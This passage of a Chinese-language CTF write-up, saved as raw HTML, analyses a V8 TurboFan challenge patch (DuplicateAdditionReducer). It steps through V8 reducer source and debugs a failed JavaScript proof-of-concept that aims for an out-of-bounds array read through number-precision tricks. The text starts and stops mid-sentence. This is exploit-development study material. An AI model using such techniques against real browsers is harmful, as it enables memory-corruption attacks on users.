inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">70</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">for</span> (Node* <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">const</span> user : node-&gt;uses()) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">71</span>      <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// Don&#39;t revisit this node if it refers to itself.</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">72</span>      <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (user != node) Revisit(user);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">73</span>    }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">74</span>  }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">75</span>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">跟入<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">GraphReducer::Reduce(Node* const node)</code>，在这个函数中，我们可以<strong style="font-size: inherit;color: inherit;line-height: inherit;">尝试</strong>定位题目添加的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">DuplicateAdditionReducer -&gt; Reduce()</code>处理我们的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">y = y + 1 +1</code>结点，这是个思路，说不定这个相关结点被之前的phase处理的面目全非了</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// src\compiler\graph-reducer.cc: 81</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span>Reduction GraphReducer::Reduce(Node* <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">const</span> node) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">auto</span> skip = reducers_.end();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// reducers_保存phase入口add的全部reducer</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">for</span> (<span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">auto</span> i = reducers_.begin(); i != reducers_.end();) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (i != skip) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>      <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 调用每一个reducer-&gt;Reduce()处理node</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>      Reduction reduction = (*i)-&gt;Reduce(node);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span>      <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (!reduction.Changed()) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>        <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// No change from this reducer.</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span>      } <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">else</span> <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (reduction.replacement() == node) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span>        <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// {replacement} == {node} represents an in-place reduction. Rerun</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">13</span>        <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// all the other reducers for this node, as now there may be more</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">14</span>        <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// opportunities for reduction.</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">15</span>        <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (FLAG_trace_turbo_reduction) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">16</span>          StdoutStream{} &lt;&lt; <span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;- In-place update of &#34;</span> &lt;&lt; *node &lt;&lt; <span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34; by reducer &#34;</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">17</span>                         &lt;&lt; (*i)-&gt;reducer_name() &lt;&lt; <span style="font-size: inherit;line-height: inherit;color: rgb(230, 192, 123);overflow-wrap: inherit !important;word-break: inherit !important;">std</span>::<span style="font-size: inherit;line-height: inherit;color: rgb(230, 192, 123);overflow-wrap: inherit !important;word-break: inherit !important;">endl</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">18</span>        }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">19</span>        skip = i;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">20</span>        i = reducers_.begin();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">21</span>        <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">continue</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">22</span>      } <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">else</span> {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">23</span>        <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// {node} was replaced by another node.</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">24</span>        <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (FLAG_trace_turbo_reduction) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">25</span>          StdoutStream{} &lt;&lt; <span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;- Replacement of &#34;</span> &lt;&lt; *node &lt;&lt; <span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34; with &#34;</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">26</span>                         &lt;&lt; *(reduction.replacement()) &lt;&lt; <span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34; by reducer &#34;</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">27</span>                         &lt;&lt; (*i)-&gt;reducer_name() &lt;&lt; <span style="font-size: inherit;line-height: inherit;color: rgb(230, 192, 123);overflow-wrap: inherit !important;word-break: inherit !important;">std</span>::<span style="font-size: inherit;line-height: inherit;color: rgb(230, 192, 123);overflow-wrap: inherit !important;word-break: inherit !important;">endl</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">28</span>        }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">29</span>        <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> reduction;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">30</span>      }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">31</span>    }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">32</span>    ++i;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">33</span>  }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">34</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (skip == reducers_.end()) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">35</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// No change from any reducer.</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">36</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> Reducer::NoChange();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">37</span>  }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">38</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// At least one reducer did some in-place reduction.</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">39</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> Reducer::Changed(node);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">40</span>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">ok，重新理一下思路，回看我们失败的poc（下面的代码），我们最初的想法是当<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">x==0</code>时，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">y=9007199254740991</code>，走到行4时，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">y=9007199254740991+1+1 =&gt; y=9007199254740992 =&gt; y = y-9007199254740991 =&gt; 1</code>；当<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">x==1</code>时，因为题目补丁的存在（补丁对<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">x==0</code>时<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">y</code>的值无影响）<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">y=9007199254740992+1+1 =&gt; y=9007199254740992+2 =&gt; y=9007199254740994 =&gt; y = 9007199254740994 - 9007199254740991 =&gt; 3</code></p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">如上算式，最后<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">y==3</code>，而arr是长度为2的数组，最后return arr[y]时导致越界。这是我们最初构造poc时的想法，看似没有问题的。但poc最后<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">print(res)</code>结果为1.2，说明事实上并没有越界</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span>let opt_me = (x) =&gt; {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span>    let arr = <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">new</span> Array(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1.1</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1.2</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span>  let y = ( x==<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span> ) ? <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">9007199254740992</span> : <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">9007199254740991</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span>  y = y + <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span> + <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>；<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span>  y = y - <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">9007199254740991</span>; <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// max=1, actual max=2</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> arr[y];<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>}<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span>opt_me(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>%OptimizeFunctionOnNextCall(opt_me);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span>let res = opt_me(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span>print(res);<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">按照我们之前走读的代码，我们继续深入调试一下失败的poc。如下图，首次调用到<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">DuplicateAdditionReducer -&gt; Reduce()</code>时，当前处理的node的opcode为<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">NumberConstant</code><br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.17520661157024794" title="" data-type="png" data-w="1815" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=8f479c13&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzcOKYTmCttDvibLEia9rGvXic0M1WrGKsQiaZMF4QeJvzW5o2ZlqQ9nCtibuQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">那么根据我们前文对代码的分析，我们可以从sea of nodes中定位到如下<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">#45</code>结点，因为这是从<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">End</code>结点进行深度优先搜索的第一个无inputs的结点，是符合我们上面断点调试的信息<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.5925925925925926" title="" data-type="png" data-w="648" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=255c228f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzc3wrY3Qh04kbWrG0XIPWJoS5vtaw9Schu7QgHvSibdkQKAZESO2RicTKQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">事实上从上图，我们看到<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">#40</code>和<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">#41</code>两个add的node如下图，并不是题目补丁中switch的opcode<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">kNumberAdd</code>，这难道是poc不成功的原因？<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.150460593654043" title="" data-type="png" data-w="977" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=4a3f2b23&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzcb9xq5oeXL8rCo4zV0RUtwcNx1MHOOJxwBMeLnibicBCtplAJSQVtibMEQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">答案是否定的，在调试的过程中，当<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">DuplicateAdditionReducer -&gt; Reduce()</code>处理到<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">#40</code>结点时确实因为不匹配opcode没能进入后续处理的代码，但是后续其他的reduce在处理这个node时将<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">SpeculativeNumberAdd</code>优化为<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">kNumberAdd</code>，对<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">#41</code>也同样如此。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">如下图，断在<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">#40</code>node，单步跟入<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">DuplicateAdditionReducer -&gt; ReduceAddition(Node *node)</code><br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.21157894736842106" title="" data-type="png" data-w="950" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=05f9af6f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzctcFV9MgicENMkxBC2RmCWuwBMHEalT5kKXKxmjVBpsPAUMEsxogia0KQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">如下图查看此时参数node的信息，三个<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">DCHECK_EQ</code>是没有问题的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">ControlInputCount =&gt; control_in_==0``EffectInputCount =&gt; effect_in_==0``ValueInputCount =&gt; value_in_==2</code>，opcode也是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">kNumberAdd</code><br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.32238605898123324" title="" data-type="png" data-w="1492" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=b5a65350&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzcIKJyNQTjCbUBia7KLgL75q7yRtP9vdBPtu4MCCb3tEMsY7pmqxOwnxA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">根据补丁代码，继续查看当前<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">node</code>的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 